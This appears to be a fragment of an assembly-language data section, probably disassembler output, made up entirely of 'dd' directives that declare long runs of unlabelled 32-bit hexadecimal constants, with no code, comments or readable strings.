		dd 0D3F02518h, 4200C04Ch, 5703634Eh, 4FA4A7EDh,	76D888ECh
		dd 0D2B86F1Fh, 0C4C6D0C0h, 430B5C5h, 1415775Dh,	8485BF6Eh
		dd 0A8E0F4B6h, 520004CDh, 42661ED5h, 12CA6319h,	12B25E6Eh
		dd 986EFE88h, 0CA386800h
		dd 83A3B834h, 27B9C41Ah, 0AC37575Eh, 0FBA2AB00h, 4AA042h
		dd 58D0ECAAh, 0F37C9B9Ah, 0E8C9EB4Fh, 7DCFAFDh,	8F40088h
		dd 188D4030h, 0E6FE9065h, 54E4B7h, 8EFA7D38h, 0D284720Dh
		dd 0A0410F00h, 780525E8h, 85E24EA2h, 0F41014BDh, 7EC8A15Bh
		dd 230DA86Bh, 3E404FA6h, 0C680D09Bh, 0D662D0C1h, 0DE83AF02h
		dd 61A30E80h, 903FF557h, 0E726AB08h, 1F66CA80h,	2D97BC0Fh
		dd 0BF70BCD3h, 315D0476h, 0F8F214BCh, 18809E34h, 3B05F675h
		dd 0A15825B7h, 2D00CC44h, 57C6C8BEh, 2579108Fh,	80E87B3Fh
		dd 0DB9D136Eh, 6699D8C4h, 8794170Bh, 0E1F906CCh, 0B7E30791h
		dd 30CD442Eh, 0EC20DF28h, 9C81001h, 5988F058h, 9A1A9E8h
		dd 8F451954h, 4900F4C4h, 6B9D7BEFh, 7AE8AEh, 9E1041E4h
		dd 813CE2D5h, 8F301200h, 6CD97B0Dh, 0F648D234h,	3230E054h
		dd 89AE2E08h, 16C204B0h, 8004B861h, 9CDA496Fh, 23DF0F92h
		dd 0EB923666h, 218A0C21h, 4326C478h, 0DEFA4024h, 0B24F4086h
		dd 97EC00E8h, 0A2CA128Ch, 41B0E5AAh, 21B48FF4h,	5CB62E18h
		dd 7C2FBAE0h, 0ECF2CF4Ah, 7BC04300h, 392D7A2Eh,	0ACEA6D1Dh
		dd 97CC6209h, 809F9124h, 29D7BF8Ch, 9D05073Dh, 0B12C0A83h
		dd 0A4F194A3h, 1009B029h, 0D0855DB9h, 0CD50AC0Eh, 0E2D760B0h
		dd 0C6E5DC4h, 0C0B44D9Fh, 0F5106548h, 45DCD600h, 528ADD13h
		dd 0A5A8A8DEh, 182F0B94h, 0A45D5D58h, 85BA8268h, 0A220A8B0h
		dd 0C72822CAh, 48284655h, 4218837Fh, 63F1C923h,	0CA993301h
		dd 26B556C6h, 0C41C903Bh, 29468D76h, 88345111h,	713A80BDh
		dd 0E9BCCA58h, 62135DF8h, 64E8DE29h, 135CE3C4h,	46811CACh
		dd 127FD76h, 0CC7F672Ch, 0B2728A40h, 807AC141h,	0C38AC0Ch
		dd 1404B300h, 8F766167h, 0F632FC8h, 58CB28E8h, 69004874h
		dd 0BCDFDAC6h, 37E6A5h,	772CC290h, 8BC4B0DEh, 4D227E77h
		dd 2D1AFA20h, 9C7A8A21h, 4C7C0F20h, 8727E2ACh, 83A0471h
		dd 6E3C557Eh, 5DF74B9Eh, 2B6420D6h, 0B3182840h,	11C08E4Dh
		dd 22EFB95Ch, 66C415DCh, 432FB451h, 0A619B8E8h,	0D3DD611Dh
		dd 6B4F7C0h, 1D4C0362h,	0CEDAE84Eh, 7EA29E57h, 0F5296BDFh
		dd 12DD5091h, 6A0908Ah,	773F3C2Fh, 1948A613h, 0E6A81947h
		dd 6198465Fh, 43248989h, 0B4072A32h, 97F56759h,	2AAE24E0h
		dd 5A848AF2h, 38E8989Eh, 689EA84Eh, 0E0697480h,	7B3F59DEh
		dd 559062A0h, 9410FDCCh, 5C98325Ch, 0F6A3CA27h,	3402F494h
		dd 600ED9BDh, 54C457BFh, 5700B5E0h, 840E7BEh, 9AC1B2h
		dd 8C3D356Dh, 4EA7AB34h, 0C0E378BCh, 0F88CCBF1h, 149A6CCh
		dd 658D2DA7h, 2E21875Ah, 0E786F491h, 0BED00104h, 0F21EFAAFh
		dd 58B8A075h, 0B08F0C4Eh, 8A8C2D22h, 0EFD5B842h, 432D41CCh
		dd 0AC207A8Dh, 39D7E4B5h, 708EFECFh, 0F3C0A919h, 9024A6C1h
		dd 474B462Dh, 102905CCh, 0FB6B849Ah, 338894CFh,	3E1380C0h
		dd 9854980Ch, 0A9012590h, 0A4131866h, 42FA6ABAh, 0CE396674h
		dd 0FA60986Fh, 96285C4h, 0E71B5E27h, 25341DF7h,	0CA50E87Bh
		dd 667601B1h, 7BFA98F3h, 0A46E3A1Ah, 13A42901h,	3BA5FE50h
		dd 3B0058F2h, 38AE7FEBh, 200BF153h, 89E7C83Ah, 46D4F9C8h
		dd 0DB955199h, 0EF417050h, 3CD86C01h, 7A3B50E1h, 58F0C83Ah
		dd 0B5085C05h, 0A4A82937h, 1A021880h, 9425A4ADh, 0FB7CF045h
		dd 0BC68242Fh, 89633444h, 92B033AFh, 0EF0CB016h, 0A9A860AAh
		dd 0B4097CDFh, 0D6A54589h, 4BC2E7ACh, 7264D8E7h, 7AAC8261h
		dd 0BAACC8h, 1096E545h,	7B33CD6Dh, 1FBC8909h, 2698D6F1h
		dd 8B8D6204h, 71B21940h, 12CC5097h, 841576C6h, 0D0D1AF84h
		dd 0AB0526F3h, 0F0EC20CCh, 40951E38h, 1861C056h, 0CEE0D249h
		dd 5A775402h, 5FD189C0h, 145CC0BAh, 0C0900D4h, 1398AD7Bh
		dd 18B5B453h, 3B5CC13Ch, 0B3CEF518h, 0A7040040h, 7C992F21h
		dd 0B1D500DFh, 79CA1FE9h, 2650CB44h, 0CC1CC014h, 438AFA5h
		dd 89DAF14Dh, 5D5800AEh, 0D763B82Bh, 8B3C01B5h,	0D03AB465h
		dd 1F676F50h, 93045BDh,	2F80D423h, 488C37B1h, 0F1DDC212h
		dd 97A948Ch, 0A020DBC1h, 6F00948Eh, 6C7051BFh, 0D0AB9804h
		dd 0ECAC9CAFh, 0F4450C4Ch, 88A46430h, 21F9782Dh, 2D002C10h
		dd 74C46BDFh, 0FEBE2598h, 0DCBCD4h, 4C6F7264h, 8D74CFD2h
		dd 0F186AA2Dh, 0BF224494h, 60ADF425h, 0EE5A48B8h, 7C4C2CB8h
		dd 0BC3C510h, 0DA5EBC42h, 85A920B0h, 78AC684Fh,	0FDDF2884h
		dd 2D331D94h, 1013CA7Dh, 0CC3421AEh, 0D553D8D7h, 6D8A600h
		dd 0EAC38F66h, 874827F8h, 5B9D805Ah, 3134D0C8h,	2D09AB73h
		dd 40F1CA91h, 0BD67572Ch, 61956844h, 0BA703ED4h, 0C1515E6Eh
		dd 0F082701Ch, 95909A50h, 2022DD16h, 0FFB85CA9h, 0DE126527h
		dd 1817E964h, 0BC807711h, 10F39A34h, 0E5765C16h, 0E0225440h
		dd 1250D43h, 0A5123415h, 80E97EAAh, 0A54F168h, 121F31D6h
		dd 98FF7EAh, 740978B2h,	380B18D0h, 9DF1F8D2h, 80FD118Ch
		dd 2F7CC38Ah, 0B54A76F2h, 0FAAC0438h, 324AE4Dh,	7C4FD10Bh
		dd 557800D9h, 0E5C5F611h, 0DF5AFE4Ah, 0EFE254F6h, 0F079D9C0h
		dd 50A4A82Fh, 0C9654F00h, 967438F8h, 0E9EFBD01h, 2DD0ACC3h
		dd 0F91B1FBCh, 0E732C006h, 0D304494h, 23CF2200h, 0C88E5CEAh
		dd 28D94C0Ah, 0AE5B2D04h, 4FAC8AE5h, 9723082Fh,	58ABB300h
		dd 0BDCC3159h, 4960104Dh, 0A14B0A2Bh, 2C3F18E4h, 5B172CD4h
		dd 5C42EF46h, 9235956h,	0C044C8F1h, 0B4480149h,	0DE3F5EDBh
		dd 2D8B026Fh, 1CD4653h,	0AD8C8AB8h, 40085E61h, 3A397C12h
		dd 4C2FC902h, 7D6B025Ch, 5CAC47h, 0DCB68618h, 0A6C0338Fh
		dd 0E0B03902h, 0DE96CA26h, 273209FCh, 1E9184FBh, 22708A4Fh
		dd 0DC909C24h, 26C66238h, 0CF00E2CDh, 53252015h, 1D17267Fh
		dd 9C7C259Bh, 7446D4h, 2DABC7E4h, 5EF58EF9h, 238A3A1h
		dd 0AD79A054h, 0A61C40E3h, 0A8E5B791h, 915895A7h, 3BFF8090h
		dd 0BDAB5108h, 54021844h, 28DA2344h, 0A4A377DCh, 0C3C2DF3Dh
		dd 5504CCC4h, 0F9FC956h, 0B99C95AFh, 2C6B878h, 7C3D2AFEh
		dd 0F076CC04h, 0AFF0D32Dh, 7A5084D3h, 97ACB831h, 0EEB7D4E6h
		dd 71EC91B0h, 24F81871h, 9B866E9h, 0A4D4C072h, 30377FEBh
		dd 70B6AC00h, 76BF45A3h, 22900BDFh, 9CF103A0h, 0B01873F1h
		dd 9048C6B5h, 0B7A498E4h, 6F553CE2h, 4F904060h,	0B909B460h
		dd 2EE1DA5h, 9C39E44h, 10BD94F0h, 96C2834h, 650A0F17h
		dd 5E49E4D4h, 9BB263D8h, 10A805B0h, 0CD171C09h,	1C7CF922h
		dd 0CBD1496Eh, 5F082B7Fh, 0D47C700Bh, 298416DCh, 0EE0A0205h
		dd 0D44531DBh, 7671B021h, 0C3000B18h, 18D57991h, 97FB7169h
		dd 0C6756462h, 1C739D94h, 0EAA24870h, 0FF230B78h, 0E482338Ah
		dd 0EB022C65h, 6F9040F9h, 0B899F886h, 2F84BA14h, 0EC5832BEh
		dd 406495h, 1EF391D7h, 37FD6E3Fh, 41556D00h, 666AC20Ah
		dd 7D1109E6h, 9008E493h, 0BEF98998h, 0DF043BF5h, 12F5C9h
		dd 0C074CD7Fh, 0ABA2BA2Bh, 0A0D0A75Bh, 0B1A06948h, 0F7528B84h
		dd 0D57168D4h, 0C810EB14h, 0F6580080h, 97539518h, 2F7D5B98h
		dd 48C7DD4h, 0E50D8917h, 0C020BB7Eh, 0F1315A8h,	7F8ED2E9h
		dd 38F3B0A1h, 7A483579h, 2500B47Bh, 0B6A235C4h,	801E6FB3h
		dd 8D93B0DEh, 3DF15005h, 10C2B4B9h, 445DBB4Ch, 0F504A130h
		dd 2BA4F12Ah, 0F59E18F2h, 0B954A9C1h, 3E1CB13Fh, 2BBFB074h
		dd 1312380h, 0F4ED9FCDh, 2912F843h, 0AD5C40B7h,	0D9B8B1BAh
		dd 48DC1973h, 0E4E6B511h
		dd 0C9532017h, 69B054A8h, 0F32F0F5Ch, 0D0A8539Fh, 71000F63h
		dd 78F8A242h, 5B12AB2Dh, 223CB2C8h, 408E0132h, 0ECCB1B90h
		dd 7D5BF8C9h, 3E888000h, 0C55625Eh, 49D612D8h, 27E8B1ABh
		dd 0CAE0B708h, 0A0E8F2h, 0B140D980h, 0C1592A38h, 93F79D05h
		dd 40B2638Fh, 0D869891Ch, 7AA32C61h, 0EEA80A00h, 67334AC2h
		dd 7D8B2D79h, 7666F480h, 0E6953011h, 0C92BF164h, 78E62E6Ch
		dd 0FC4AD0E1h, 0CA04C2E2h, 9644976Eh, 1EEC81EEh, 41BF00CBh
		dd 0C1292151h, 93116A03h, 0F9984E78h, 0F4825AA8h, 1889DF5Dh
		dd 0AF6A1004h, 90A904D5h, 0DDF2AAE4h, 300BA97h,	200C3AF0h
		dd 0EEA64A4Ah, 0A5D7D730h, 699D3929h, 4A57F9DEh, 0BC4145FAh
		dd 0C1C785h, 2E724824h,	9292CA3Dh, 0C9AB04F4h, 86A67FAEh
		dd 1AC8EFE5h, 3E050632h, 53719D09h, 5E958D71h, 0D1FF0BC3h
		dd 91DD97DFh, 2DEC8016h, 0C605047h, 26A58589h, 0BE00665Ch
		dd 5F610FA2h, 60F99D8Bh, 0BD83182Fh, 0CD71C19h,	47B40BBBh
		dd 11E49FDFh, 688E1Ah, 25843EDAh, 26A252Ch, 78452C7Fh
		dd 1334105h, 2A1151A5h,	2B81E2F9h, 7236DBDh, 84B4C3B0h
		dd 0E9300955h, 0E5550E24h, 0A31D02F8h, 0EDF70939h, 502FC00Ch
		dd 0D37EFBB8h, 0BB667D00h, 858DF34Bh, 0C593502Bh, 81BD1929h
		dd 2B909230h, 721C46A9h, 0E1DD8011h, 40F79554h,	539BFB07h
		dd 23576837h, 52504C8Fh, 90E3300Bh, 64ED8D0Ah, 6235FF28h
		dd 843DBFF6h, 5F89A532h, 6D5FC689h, 1C38C0B1h, 522B531h
		dd 0C285731Eh, 9DBD8BBBh, 0EB704BFDh, 16ADB989h, 11B52987h
		dd 0CD5FE92Bh, 0CF2AC044h, 0F7E4EAFCh, 0ED6C5362h, 0DCB40D2Fh
		dd 0FBA40F7Dh, 772EB920h, 0AA45D0E9h, 9616CCC0h, 0A1017FBEh
		dd 2101497Dh, 89CC359Dh, 1E100E56h, 0BE18B0B7h,	0E68002E1h
		dd 0E4F90070h, 0D7DB8171h, 264AC80Ah, 0CD260DABh, 0F7B82A5Bh
		dd 87B9AE80h, 8C00F701h, 30CA1439h, 90E17A7Eh, 0C21DE251h
		dd 0C8B60FBBh, 25991560h, 0AD2AF881h, 0B7047F1Eh, 60C18BD9h
		dd 572AA4AAh, 0C2CDD9BFh, 82A9CDB5h, 0BF19C05Dh, 0B96D243Fh
		dd 0E2F7013Bh, 0C3899D01h, 0C82B2400h, 0DF80D18Bh, 0AB7695BCh
		dd 815B5680h, 5A5E7C7h,	858B3E78h, 0F9B5401Dh, 8907C083h
		dd 24F58D12h, 4A78EF5Eh, 9DE830FBh, 3B800A65h, 0E92A1D0h
		dd 0D5882312h, 30E98AABh, 0EBDA9774h, 0B2313533h, 0FDD24A4Dh
		dd 18843548h, 8BA5CA8Bh, 4308FD15h, 417C3151h, 4461B805h
		dd 77B5128Dh, 6CE21818h, 5E956AFAh, 7A2F408Dh, 0BC00F338h
		dd 8AF10547h, 1276BAF4h, 0BECF297Fh, 0C3E16598h, 7DEB961h
		dd 0A6DFF332h, 0DEFB55FCh, 0F20B9858h, 17DFFE66h, 0EFFC3B95h
		dd 9C002E6Eh, 59D35ECFh, 6B141A95h, 10FA756Dh, 5480DB5h
		dd 0B82D5B0Ah, 800F418Dh, 250DA405h, 5BD88B02h,	0FD108BBAh
		dd 9202B3B7h, 10038D0Fh, 0AD0CDBB7h, 4CD1C233h,	2050BFD0h
		dd 0BFF4753Fh, 0B1B9DFBFh, 0F11E9DB8h, 1BD2BD09h, 0F3F28CEAh
		dd 0BE3E0F60h, 1AA508h,	0BA388B5Bh, 880DB872h, 75885591h
		dd 0F3513B0Bh, 0AD2A5725h, 4CE4ACBAh, 59104509h, 34BF0717h
		dd 3E98DECh, 8287D6Dh, 2779BD69h, 0C25F501Fh, 0C10318C6h
		dd 0ACD2FF08h, 0BF581992h, 5870ACF3h, 773E161Fh, 27D0857h
		dd 365B508Eh, 0A595DB02h, 0D595710h, 484700BBh,	0D4A6D23Fh
		dd 811CB861h, 0E264358Ah, 1124149h, 486A84E9h, 0FB2CBFEFh
		dd 46D42CB8h, 4D832E14h, 1F4C020Bh, 801C1111h, 631970CAh
		dd 0E1780337h, 9E8B3E9h, 0F9362300h, 0CB608250h, 424A2474h
		dd 0E1DB01B7h, 0D2FF5B65h, 0CE9D3961h, 2255BD21h, 4CA7751h
		dd 6D0BC204h, 20113B9h,	37F72BD2h, 0B5220E4Eh, 0F594F840h
		dd 0FC528C4Ch, 0B2032631h, 6D636B1Ah, 6F87E0A2h, 900701B6h
		dd 51BD3102h, 8415C6Dh,	60020BC1h, 355A55h, 918B5298h
		dd 9E6B7DBBh, 302A4E1Dh, 2BB76500h, 99508963h, 0CA680A3h
		dd 1252496Ch, 721CA500h, 0A00E6D7Ah, 5BD4254Eh,	913C9D7Dh
		dd 3EBA8018h, 98EE40E4h, 580E0462h, 0AE04E180h,	7AB038F6h
		dd 0E0492590h, 8F280502h, 0E11EC90Ah, 0A6AF29B4h, 0E7B0B08Fh
		dd 0C67B02BBh, 0C5BD03BFh, 0A26179EAh, 0D60DAF61h, 0C34540E8h
		dd 0AF042D24h, 7D853374h, 3D84D3D4h, 59D1200h, 6240BD5Fh
		dd 822FA01h, 0BB50E240h, 0D8FD211Eh, 817D0065h,	2413F1E7h
		dd 20151E94h, 61EA905Dh, 9D2BD0DFh, 68F35339h, 67CCAD90h
		dd 8103DAFEh, 0AEF62434h, 0E6AACCD3h, 0B425B076h, 5F96B054h
		dd 5F20F8DDh, 3B830BDh,	216B7E00h, 0EBDFA567h, 8B2F00C6h
		dd 6F8589F9h, 95C38B7h,	0EE360150h, 26E90B92h, 0BE217035h
		dd 0B9480EC5h, 0B2FC767h, 0DA27D99Dh, 2D1209C7h, 8B7699CCh
		dd 2A316B6Ah, 0F17D1DDEh, 0D57AB112h, 0F3B37F24h, 0F1301BB2h
		dd 570800F0h, 488D10FBh, 0CE50B8BFh, 64A89AFh, 0AF6BBFh
		dd 130B4379h, 91E66E0Eh, 308680DAh, 2FA7A37Ah, 210CF102h
		dd 0C28B6042h, 95BA011Bh, 62221179h, 1FD76F93h,	0E34002D7h
		dd 1FCFD090h, 0C070BBh,	46894D6Ch, 50FA8B04h, 1D746048h
		dd 0F46FC585h, 186740E6h, 0D200258Ah, 0B3D71224h, 1EA579D4h
		dd 81692AF1h, 605CFB23h, 89028F61h, 0DAEA5234h,	6598C7B6h
		dd 4B3F77D0h, 3C242EA4h, 4C0C1192h, 0A0C4C097h,	9D9B2E4h
		dd 0B5FF8D40h, 0AA5B3812h, 4A8EBA70h, 684F0025h, 52DCD622h
		dd 82586079h, 0F78B80E0h, 2424BB66h, 82DB61D0h,	52C3D5DDh
		dd 6914DC0h, 96238D81h,	55103858h, 5090092Eh, 81E45552h
		dd 80F47495h, 0AC1AFCDFh, 0F265F06h, 0DA041C31h, 31E0585Ah
		dd 90A02562h, 9C4F357Dh, 8060C0E9h, 1F1DB531h, 55318982h
		dd 97002A6Eh, 623E902Dh, 8C019Ah, 716FF863h, 0FED7F782h
		dd 0FF4B3099h, 9300A235h, 3326198Dh, 8BFF09A7h,	292799Dh
		dd 2229041h, 3EF59861h,	185901CCh, 0C7EEBABCh, 69CA6385h
		dd 0FE6D7720h, 8CD936C0h, 0B335165Bh, 0DAF61017h, 753A4996h
		dd 4127CF55h, 7FCFD71Eh, 204A9AE3h, 0E5E0B3F2h,	0A1C94A02h
		dd 80E81C27h, 1225CA0Dh, 0C5C2016Eh, 9D29F358h,	0B1E68B5h
		dd 0FF46E95Bh, 0F84F6BDh, 558160DBh, 81040521h,	286DDAh
		dd 38305061h, 4439110Ch, 0E8C10187h, 430EAD10h,	3F14C82h
		dd 0D1F2D58h, 3636EBE7h, 396404DEh, 1B3316EEh, 40282950h
		dd 0CD581821h, 9570113h, 0C0C1421Bh, 58A7DB55h,	5000ED45h
		dd 1672C096h, 0B82D65ECh, 0B2CB1240h, 0BDAEF2Ah, 0F15BD8C0h
		dd 15941C80h, 29AE85E2h, 546D0004h, 49BB132h, 0E8DAB82Ah
		dd 0AC7C8C14h, 1A80CF04h, 82C27077h, 715D1A6Fh,	3BE4F82Fh
		dd 37CB9100h, 0D0A59EF0h, 0F792A0C1h, 0FE53485Eh, 0AECB1134h
		dd 84B00BF6h, 2C39CA88h, 3E920007h, 8509E40Ch, 251F9E3Dh
		dd 8F8F98F5h, 50752EAFh, 0E63110Eh, 180106C7h, 0C3605304h
		dd 0ACCCE79Eh, 2564B5F2h, 965F6117h, 9553F530h,	3482031Ch
		dd 30B35048h, 67628BFAh, 39ED991Ah, 0C1328AC0h,	0A30E18AEh
		dd 89955566h, 6535022Eh, 6144676h, 1880F92h, 23F80915h
		dd 93C2519Dh, 0B618632h, 85D1C39Ch, 0BBC7199h, 0C414C863h
		dd 6E4AFC4h, 500D00EBh,	84CC9BF6h, 4003C83h, 23CE08C1h
		dd 18FABE5h, 77DF8160h,	6041C01Bh, 0C46B86F7h, 0FE19183Fh
		dd 0D58403EEh, 0BD181080h, 39CD78E0h, 0A3BA6B01h, 0AB210767h
		dd 19ACFB39h, 0C0E8028Ch, 0F6125D94h, 83F9C180h, 0AD9E04C2h
		dd 0EB00136Ah, 5089EADBh
		dd 0EFF6AD20h, 0BB3A49A0h, 0A298A4CCh, 0C221B120h, 7F83D75Eh
		dd 0CC07FCC0h, 0A26F384Eh, 71F25400h, 0A09748AFh, 0AF853128h
		dd 0FFA6EF96h, 865B05DEh, 0A20BAA77h, 870F139Eh, 0ED2A19CDh
		dd 14CAC5Ch, 9D03F25Eh,	26F5B72Fh, 0A9BC64A8h, 74815EA0h
		dd 90F417F3h, 0F50BCC65h, 7720964Eh, 1D297ED1h,	80FCAC18h
		dd 0A7DA7B2Fh, 0D700D37Ch, 0D2CA6EAAh, 55E5360h, 0F505B61h
		dd 61CB8Bh, 8C34A6B2h, 0F17A4h,	74CCEB5Dh, 1B50A845h, 53966029h
		dd 0ED587C23h, 0EC8C02DCh, 0C776B29Bh, 5B2C6FF1h, 43918300h
		dd 162BEA3h, 4F85521Ah,	0EC4AD773h, 81A122D2h, 27E82155h
		dd 0B8A8A03Bh, 43FA10E3h, 2DDE2C02h, 3510791Ch,	8933278Ch
		dd 84E9852Fh, 40A096FFh, 12C9431h, 704F2DBFh, 0DED1F620h
		dd 0D2DB6400h, 7CBF04Ah, 11DE3FE4h, 0F35772E6h,	16119EB7h
		dd 333A9182h, 1C358282h, 0F8D05473h, 6CC800F5h,	0D0695EE5h
		dd 4FAC2EC5h, 7E0DD495h, 7705FD7Eh, 8E0F3B68h, 0F5BE8924h
		dd 0A4493064h, 0C3A8DE03h, 10EA17D9h, 4A2CE5CAh, 77F2EC20h
		dd 0AB8000F6h, 7E0C58D8h, 0B80A403Eh, 0D7E1ACCBh, 4026A038h
		dd 39D25802h, 0C1CD9AEAh, 8B9FFDBDh, 0E681C4D2h, 0DFF58BFh
		dd 469AD35h, 0DEC6F814h, 3DDFC024h, 5A89F00Eh, 0C75D418Dh
		dd 7326585h, 60C74F09h,	2EB20379h, 0B600A2Ch, 0FD65211Dh
		dd 0E30BB998h, 1299DF01h, 61690D7Ah, 71F288F8h,	0FC603CFFh
		dd 84C18B1Ch, 0BF12359Dh, 6B937AB2h, 8942028Dh,	5A2C75BDh
		dd 1D612051h, 0DE20504Bh, 1D45E60Ch, 5FBF4232h,	4111708h
		dd 0AB240486h, 9EB0BFA6h, 0BB012611h, 7A4EEEE8h, 0AD2E6A51h
		dd 219B8FFh, 3B1720AFh,	1342C09Ah, 0F53B0FFAh, 1052F229h
		dd 11EE6291h, 7B0F0708h, 284AA193h, 0AB03EC94h,	0B439B35Dh
		dd 25CAA6BBh, 0C0752219h, 503A4905h, 4B164A91h,	22F440FBh
		dd 0DA3EB89Dh, 6F128C00h, 770545CBh, 0DF38C563h, 3A1425Fh
		dd 725741BDh, 79ABB373h, 35DF4731h, 0BE241208h,	0D4F0FFD7h
		dd 4D5E389h, 7E557D15h,	0D304BDC5h, 538049DAh, 11AC9B5h
		dd 2F4BBDE8h, 6E2E00DDh, 34E002Fh, 4CB9E559h, 0FFA71290h
		dd 0DD9ABFD1h, 8350E0C0h, 0A925E6E8h, 1C13E5A1h, 0A73D2F7Eh
		dd 8E32D900h, 117C12Dh,	8B4AA1A2h, 28026AD8h, 98EC12DAh
		dd 80146608h, 0C106DBF8h, 7695433Ah, 0B50C0E1h,	0A10B3CCEh
		dd 668C0F1Ch, 0B5F949AEh, 848BDA93h, 55BD47ACh,	42018884h
		dd 5E8CE9FCh, 0B367704Ah, 327C9584h, 91FE027Eh,	1195BD2Bh
		dd 786004EFh, 24AB6807h, 13DD1680h, 0E3CB525Dh,	0C2205E6Eh
		dd 0FEC6AD33h, 0D51B0A43h, 81A0F01Dh, 0B750905Fh, 0A2B7D25Dh
		dd 7B096D89h, 1FBB847Ah, 9D237019h, 0DD1C4B05h,	8EFD2B5Dh
		dd 0AD1F13ACh, 9FC1BDA6h, 0B23F73Eh, 0A949C9DDh, 4BB50C30h
		dd 0C07BDEF5h, 61BBE5F3h, 5C1B4878h, 34E6D309h,	0E08727Bh
		dd 2059101h, 7D683938h,	977A5F8Ah, 0AF936C00h, 54B2A13Ah
		dd 253802ACh, 119882D8h, 0D2821756h, 0D8C19D31h, 0B05F2523h
		dd 70E6DF68h, 0F504BB7Dh, 71E42B76h, 8462D185h,	91885ED8h
		dd 2ADA48C6h, 0B725B111h, 0F976E17Ah, 8570322Fh, 9D030681h
		dd 4C0E6C49h, 0F38101A4h, 7E14CA2Dh, 0F67052Fh,	0B8F0348Dh
		dd 0F1850868h, 0FAAC4C26h, 4DB52915h, 0D18B198Fh, 9CE7926h
		dd 0B02CA371h, 0C7D01825h, 59875C95h, 0D568D925h, 1B41A19Dh
		dd 487C5E2Eh, 0FA6C2DD5h, 73A497FBh, 19865417h,	3E730469h
		dd 0D5285016h, 0F1342E26h, 0A4AE0D27h, 5A4BB36Bh, 882178C8h
		dd 777CD780h, 0FE14A550h, 82CB813Ah, 89747123h,	25B8B95h
		dd 5E2A5D8Fh, 22205081h, 0E0276D82h, 0B77ADC93h, 13E1AFA0h
		dd 0FE226A91h, 80921A97h, 0B9B5EBBEh, 0F92EF3C0h, 0F192BC72h
		dd 625DCC40h, 0C2704B94h, 0C7C133B1h, 82010410h, 267DBF53h
		dd 62DB5DF6h, 0DB006659h, 21B86CB4h, 701DE920h,	533D9FB8h
		dd 0FF191480h, 18D5FD63h, 6817B30Fh, 7B4BF0EFh,	1C88B0DAh
		dd 0A2F840C0h, 6AEE01ACh, 8B8C46B7h, 0B13D2FD9h, 2480AD28h
		dd 0DAA768F3h, 86072B7Eh, 88F5B82Ah, 953D820h, 3528E3BDh
		dd 93E45B25h, 0D62D5E97h, 169FC97h, 393F35FBh, 0CF152060h
		dd 0D2D083A0h, 9B619027h, 0CB1809BFh, 9779FE0Eh, 0A1B58982h
		dd 55271F12h, 0D88B2E1Fh, 1D44EEh, 0A8EB59D1h, 0A26CEF46h
		dd 2A165801h, 62B17468h, 4B323D70h, 3489CA08h, 0F6BB3E96h
		dd 0F456E0B4h, 0BFD61DA6h, 6E074798h, 0CF7709B8h, 0D56A44CFh
		dd 2E0BB161h, 0CACCB034h, 70D0E2B3h, 669B002Fh,	9D333E64h
		dd 1B2238Dh, 0C2E4E6A0h, 1CE1FF26h, 0A69F00DEh,	99BB945Fh
		dd 2B040CDBh, 2E5D8589h, 0AEE2B5BCh, 0C3EFCD2Bh, 6AC80AC4h
		dd 4B4CEF3Bh, 0C1D3041Fh, 0D7BC5CDEh, 662094A2h, 97912FBFh
		dd 4D5EB794h, 17238F3Eh, 6A7D402h, 7F451D5h, 2034A1E4h
		dd 3C924AA4h, 60D80525h, 97F34578h, 5B539089h, 0B75670h
		dd 0A9D7A8E2h, 2BB57BE0h, 296D9D13h, 82111C88h,	0FD259C5Ch
		dd 0CCBBA5B5h, 2B0D10FFh, 379A914Bh, 9CB00401h,	0D82C4B61h
		dd 0CD07BB74h, 99FE63EAh, 0A52473F9h, 80811FFDh, 0FB5EE79Dh
		dd 9A976E09h, 0E5F35F9Ch, 35556F58h, 25CA90A8h,	3E0AA226h
		dd 978008Ch, 0C59BF55Dh, 0CB9D0087h, 0FA201C93h, 2B25CDE2h
		dd 8BC9E052h, 0F9902DDAh, 220D8B60h, 2DF01083h,	0A461342Fh
		dd 843133C3h, 0AC936800h, 502F3FDAh, 86831052h,	0CF710F12h
		dd 29402B5Dh, 3A6A9359h, 60D05E05h, 0A3A55509h,	6C03012Bh
		dd 2D3FC5AFh, 926B807h,	0D9BF0F91h, 12B0B059h, 97D88AFAh
		dd 8C54BE9Ah, 0BD9CA540h, 234900CFh, 71FFBF4Eh,	0E925397Bh
		dd 7B59C23Fh, 6AB870ADh, 1A2DD10Fh, 3C6EC353h, 0D8C4C41h
		dd 3F1BD09h, 34A3F17Bh,	1F1C8458h, 0C26B7323h, 0E2912059h
		dd 870505E0h, 4676A327h, 10929716h, 7BDE0F7Ch, 0E3C0D20Eh
		dd 14D44BA8h, 0B099F6AFh, 284618Fh, 0E8DE6406h,	9D19ABBh
		dd 0DA2C5D27h, 0B5930646h, 9791A78h, 9965E033h,	2FF5DC31h
		dd 98D8D917h, 14E0FA4h,	8A8B9620h, 8CB2A713h, 0E848B97Ah
		dd 4F9831Eh, 78BE982Ch,	505F04CEh, 0AF96DE8Ah, 0C6B0EDF6h
		dd 0A501D607h, 82013818h, 346E3DE7h, 0DDBC0BF9h, 33BB4468h
		dd 0D9CDE74Bh, 0CE33E60h, 4E83B18h, 331FF35h, 1985C01Fh
		dd 0CD24815h, 0A803CF80h, 27EAB8Eh, 0BF42E643h,	0CD408FBAh
		dd 72BC1BB3h, 561AB717h, 3FE4D1B7h, 31ACBB00h, 0C9DC1879h
		dd 0A88B3332h, 0D544DFh, 0DE256BBBh, 9501587Dh,	0EE5EC2E9h
		dd 3CD5FE9h, 0D666AD60h, 0CA74EDF6h, 4FACB8F8h,	6F631361h
		dd 2E2A00BCh, 8B9C2BB2h, 1B9AA1EBh, 4AF2E812h, 0A0821000h
		dd 5D9F3672h, 4AB901BBh, 4668FC15h, 21D241AFh, 6C5B020Dh
		dd 73749D44h, 3B888B80h, 0BE41B5h, 0CDC6D70h, 66EC6922h
		dd 748A772Ch, 0C1E8D08h, 0DFDE615Fh, 4725B0B0h,	0A5DDE72Bh
		dd 800D9FDFh, 0F79AF013h, 0AD248DDFh, 6F021F70h, 5C439548h
		dd 0AD2A51B2h, 9D56303Dh, 91D39669h, 8E0F1234h,	17A39C57h
		dd 0F01AB800h, 7479257Bh, 0CD6C1001h, 5FDB0F05h, 0A4993B2Fh
		dd 0F0CDB3BAh, 5E2B4843h, 31EB8112h, 73E20411h,	0C1493D07h
		dd 377BD99Bh, 0CC4C70h,	0C17817E7h, 0DF3750B4h,	0A7CF8103h
		dd 10729F9Bh, 762DE976h, 0B2CAD84Bh, 5E90B022h,	0A19AFC85h
		dd 0BFFB751Fh, 7FF58058h, 0DEA50260h, 23035EFFh, 51BE3E1h
		dd 1CB235F6h
